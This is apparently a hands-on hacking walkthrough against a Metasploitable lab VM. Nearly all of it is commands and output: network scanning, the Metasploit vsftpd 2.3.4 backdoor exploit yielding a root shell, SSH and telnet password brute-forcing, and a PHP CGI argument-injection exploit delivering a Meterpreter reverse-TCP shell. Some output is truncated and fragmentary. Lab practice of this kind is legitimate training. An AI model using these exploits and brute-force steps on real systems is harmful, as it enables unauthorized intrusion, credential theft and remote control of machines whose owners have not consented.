

Network Base system Hacking

 by Durgesh Thakare

Network Base system Hacking

Network-based system hacking, often referred to as "network hacking," involves unauthorized access, manipulation, or exploitation of computer networks, systems, or services. The primary goal of network-based system hacking is to gain access to sensitive information, compromise network security, or disrupt network operations. Here are some key aspects and techniques associated with network-based system hacking:

HOST DISCOV

arp-scan -l

The command "arp-scan -l" is used for network scanning. ARP is a protocol used by hosts on an IP network to identify the hardware address of a device that has a known IP address. The "-l" option tells the arp-scan tool to list the results.

```
nbtscan -r 192.168.31.1/24
```

The command "nbtscan -r 192.168.31.1/24" service scans on a range of IP addresses using the NetBIOS protocol used for file and printer sharing. It queries devices for NetBIOS information.

IP add

192.16
192.16
192.16

Finding Open Port on Target

```
nmap 192.168.31.14

└─(root㉿DHEERA)-[/home/dheera]
└─# nmap 192.168.31.14
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-26 09:47 IST
Nmap scan report for 192.168.31.14
Host is up (0.00070s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
```

```
1099/tcp open  iimiregistry  
1524/tcp open  ingreslock  
2049/tcp open  nfs  
2121/tcp open  ccproxy-ftp  
3306/tcp open  mysql  
5432/tcp open  postgresql  
5900/tcp open  vnc  
6000/tcp open  X11  
6667/tcp open  irc  
8009/tcp open  ajp13  
8180/tcp open  unknown  
MAC Address: 08:00:27:00:2B:3F (Oracle VirtualBox virtual NIC)  
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
```

FTP 21

Check version and other details on ssh port using nmap

```
(root㉿DHEERA)-[/home/dheera]  
# nmap -sV 192.168.31.14 -p 21  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-26 09:50 IST  
Nmap scan report for 192.168.31.14  
Host is up (0.00023s latency).  
  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp      vsftpd 2.3.4  
MAC Address: 08:00:27:00:2B:3F (Oracle VirtualBox virtual NIC)  
Service Info: OS: Unix  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/  
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
```

Search: vsftpd 2.3.4

Date	D	A	V	Title	Type	Platform	Author
2021-04-12				vsftpd 2.3.4 - Backdoor Command Execution	Remote	Unix	HerculesRD
2011-07-05				vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	Remote	Unix	Metasploit

EXPLOITING

start Metasploit

Start Metasploit service using

`service postgresql start`

```
(root@DHEERA) - [/home/dheera]
# service postgresql start
```

u can check status using

`service postgresql status`

```
(root@DHEERA) - [/home/dheera]
# service postgresql status
● postgresql.service - PostgreSQL RDBMS
  Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; preset: disabled)
  Active: active (exited) since Thu 2023-10-26 09:53:54 IST; 14s ago
    Process: 17373 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
   Main PID: 17373 (code=exited, status=0/SUCCESS)
     CPU: 863us

Oct 26 09:53:54 DHEERA systemd[1]: Starting postgresql.service - PostgreSQL RDBMS...
Oct 26 09:53:54 DHEERA systemd[1]: Finished postgresql.service - PostgreSQL RDBMS.
```

Now start metasploit using `msfconsole`

```
(root@DHEERA) - [/home/dheera]
# msfconsole
Metasploit tip: When in a module, use back to go back to the top level
prompt
[*] Starting the Metasploit Framework console...-
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_
[*] No payload configured, defaulting to
msf6 exploit(unix/ftp/vsftpd_234_backdoor)

show options
```

```
RPORT      21  
  
Payload options (cmd/u  
  
Name  Current  Setti  
-----  
  
Exploit target:
```

View the full module info with the info, or info -d command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

set option using set command and run to exploite

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.31.14
rhost => 192.168.31.14
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.31.14:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.31.14:21 - USER: 331 Please specify the password.
[+] 192.168.31.14:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.14:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.31.174:42527 -> 192.168.31.14:62

```

we have access of machine we can use linux commands

```
whoami
root
ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:00:2b:3f
          inet addr:192.168.31.14 Bcast:192.168.31.255 Mask:255
          inet6 addr: fe80::a00:27ff:fe00:2b3f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:14603 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1203 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:937596 (915.6 KB) TX bytes:75100 (73.3 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo       Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:361 errors:0 dropped:0 overruns:0 frame:0
          TX packets:361 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:151405 (147.8 KB) TX bytes:151405 (147.8 KB)
```

Start python server

```
python -m SimpleHTTPServer 4444
```

Directory listing for /

- [bin/](#)
- [boot/](#)
- [cdrom@.](#)
- [dev/](#)
- [etc/](#)
- [home/](#)
- [initrd/](#)
- [initrd.img@.](#)
- [lib/](#)
- [lost+found/](#)
- [media/](#)
- [mnt/](#)
- [nohup.out](#)
- [opt/](#)
- [proc/](#)
- [root/](#)
- [sbin/](#)
- [srv/](#)
- [sys/](#)
- [tmp/](#)
- [usr/](#)
- [var/](#)
- [vmlinuz@.](#)

SSH

```
nmap -sV 192.168.31.14 -p 22
```

```
(root@DHEERA)- [/home/dheera]
# nmap -sV 192.168.31.14 -p 22
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-26 10:10 IST
Nmap scan report for 192.168.31.14
Host is up (0.00030s latency).
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0
```

```
msf6 > use auxiliary  
msf6 auxiliary(scanner)
```

Module options (auxiliary(scanner)):

Name	-----
ANONYMOUS_LOGIN	
BLANK_PASSWORDS	
BRUTEFORCE_SPEED	
DB_ALL_CREDS	
DB_ALL_PASS	
DB_ALL_USERS	
DRIVERS_EXTENTIVE	

USERNAME	no	A specific username to authenticate.
USERPASS_FILE	no	File containing users and password.
USER_AS_PASS	false	Try the username as the password.
USER_FILE	no	File containing usernames, one per line.
VERBOSE	true	Whether to print output for all modules.

```
RHOSTS => 192.168.31.14
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE '/home/dheera/pass.txt'
PASS_FILE => /home/dheera/pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE '/home/dheera/user.txt'
USER_FILE => /home/dheera/user.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 192.168.31.14:22 - Starting bruteforce
[+] 192.168.31.14:22 - Success: 'msfadmin:msfadmin'
(video),46(plugdev),107(fuse),111(lpadmin),112(admin
i686 GNU/Linux '
[*] SSH session 2 opened (192.168.31.174:41327 -> 19
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > 
```



```
ssh -oHostKeyAlgorithms=+ssh-dss msfadmin@192.168.31.14
```



```
[*] exec: ssh -oHostKeyAlgorithms=+ssh-dss msfadmin@192.168.31.14
[*] exec: ssh -oHostKeyAlgorithms=+ssh-dss msfadmin@192.168.31.14

The authenticity of host '192.168.31.14 (192.168.31.14)' can't be established.
DSA key fingerprint is SHA256:kgTW5p1Amzh5MfHn9jIpZf2/pCIZq2TNrG9sh+fy95Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.14' (DSA) to the list of known hosts.
msfadmin@192.168.31.14's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

```
To run a command as administrator (user 'root'), use 'sudo <command>' .  
See "man sudo_root" for details.  
  
msfadmin@metasploitable:~$ █
```

```
(root㉿DHEERA) - [/home/dheera]
# nmap -sV 192.168.31.14 -p 23
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-26 10:28 IST
Nmap scan report for 192.168.31.14
Host is up (0.00028s latency).

PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
MAC Address: 08:00:27:00:2B:3F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

(root㉿DHEERA) - [/home/dheera]
# 
```

search telnet_login

use auxiliary/scanner/telnet/telnet_login

```
Matching Modules
=====
#  Name
-  ---
0  auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
1  auxiliary/scanner/telnet/telnet_login
```

Interact with a module by name or index. For example info 1, use 1 or .

```
msf6 > use auxiliary/scanner/telnet/telnet_login
msf6 auxiliary(scanner/telnet/telnet_login) > 
```

```
View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.31.14
RHOSTS => 192.168.31.14
msf6 auxiliary(scanner/telnet/telnet_login) > set PASS_FILE '/home/dheera/pass.txt'
PASS_FILE => /home/dheera/pass.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set USER_FILE '/home/dheera/user.txt'
USER_FILE => /home/dheera/user.txt
msf6 auxiliary(scanner/telnet/telnet_login) > run
[!] msf6 auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.31.14:23 - 192.168.31.14:23 - LOGIN FAILED: admin:pass (Incorrect: )
[*] 192.168.31.14:23 - 192.168.31.14:23 - LOGIN FAILED: admin:msfadmin (Incorrect: )
[*] 192.168.31.14:23 - 192.168.31.14:23 - LOGIN FAILED: admin: (Incorrect: )
[*] 192.168.31.14:23 - 192.168.31.14:23 - LOGIN FAILED: msfadmin:pass (Incorrect: )
[+] 192.168.31.14:23 - 192.168.31.14:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.31.14:23 - Attempting to start session 192.168.31.14:23 with msfadmin:msfadmin
[*] Command shell session 3 opened (192.168.31.174:39845 -> 192.168.31.14:23) at 2023-10-26 10:31:41 +0530
[*] 192.168.31.14:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_login) > telnet 192.168.31.14
[*] exec: telnet 192.168.31.14

Trying 192.168.31.14...
Connected to 192.168.31.14.
Escape character is '^]'.

File Machine View
Warning: Never expose this VM to an untrusted network!
```

```
metasploitable login: msfadmin
Password:
Last login: Wed Oct 25 19:31:27 EDT 2023 from 192.168.31.174 on pts/2
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.

To run a command as administrator (user "root"), use "sudo <command>".

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
tcp.stream eq 3
root@DHEERA:/home/dr
Wireshark - Follow TCP Stream (tcp.stream eq 3) · wlan0
No. Time Source Destination
45 4.830686138 192.168.31.14 192.168.31.174
51 4.872001528 192.168.31.174 192.168.31.14
62 6.635722499 192.168.31.174 192.168.31.14
63 6.635936859 192.168.31.14 192.168.31.174
64 6.635953706 192.168.31.174 192.168.31.14
70 6.874473250 192.168.31.174 192.168.31.14
71 6.874620539 192.168.31.14 192.168.31.174
72 6.874633459 192.168.31.174 192.168.31.14
76 7.174106442 192.168.31.174 192.168.31.14
77 7.174245696 192.168.31.14 192.168.31.174
78 7.174256537 192.168.31.174 192.168.31.14
79 7.573326096 192.168.31.174 192.168.31.14
80 7.573485059 192.168.31.14 192.168.31.174
81 7.573497942 192.168.31.174 192.168.31.14
82 7.866672916 192.168.31.174 192.168.31.14
83 7.866850347 192.168.31.14 192.168.31.174
84 7.866863191 192.168.31.174 192.168.31.14
85 8.095761117 192.168.31.174 192.168.31.14
86 8.095966727 192.168.31.14 192.168.31.174
87 8.095986304 192.168.31.174 192.168.31.14
88 8.329787367 192.168.31.174 192.168.31.14
...&.....!."'....#....#.!'&.&.....!."'....#....!
.....&.... 38400,38400....#.DHEERA:1....'.DISPLAY.DHEERA:1.....XTERM-256COLOR.....
.....
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: mmssffaaddmmiinn
.
Password: msfadmin
.
Last login: Wed Oct 25 19:31:27 EDT 2023 from 192.168.31.174 on pts/2
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
```

```
nmap -sV
```

```
Service detection performed  
Nmap done: 1 IP address (1 host up)
```

```
Escape character is ']'.
root@metasploitable:/# whoami
root
root@metasploitable:/# root@metasploitable:/# □

telnet 192.168.31.14

HTTP

msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) > set RHOSTS 192.168.31.14
RHOSTS => 192.168.31.14
msf6 auxiliary(scanner/http/http_version) > searchsploit apache | grep 5.4.2
[*] exec: searchsploit apache | grep 5.4.2

Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Rem | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code | php/remote/29316.py
msf6 auxiliary(scanner/http/http_version) > grep cgi search apache 2.2.8 php 5.4.2
msf6 auxiliary(scanner/http/http_version) > use exploit/multi/http/php_cgi_arg_injection
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 192.168.31.14
RHOSTS => 192.168.31.14
msf6 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.31.174:4444
[*] Sending stage (39927 bytes) to 192.168.31.14
[*] Meterpreter session 1 opened (192.168.31.174:4444 -> 192.168.31.14:48747) at 2023-10-26 13:06:26 +0530

meterpreter > ls
```

```
use auxiliary/scanner/http/http_version  
  
set RHOSTS 192.168.1.2  
  
use offensive method on msfconsole  
  
searchsploit apache | grep 5.4.2  
  
grep cgi search apache 2.2.8 php 5.4.2  
  
use exploit/multi/http/php_cgi_arg_injection  
  
show options  
  
set RHOSTS 192.168.1.2  
  
run  
  
Other Way Of Exploiting HTTP Service  
  
use exploit/multi/http/php_cgi_arg_injection  
  
show options  
  
set RHOSTS 192.168.31.14  
  
set payload php/meterpreter/reverse_tcp
```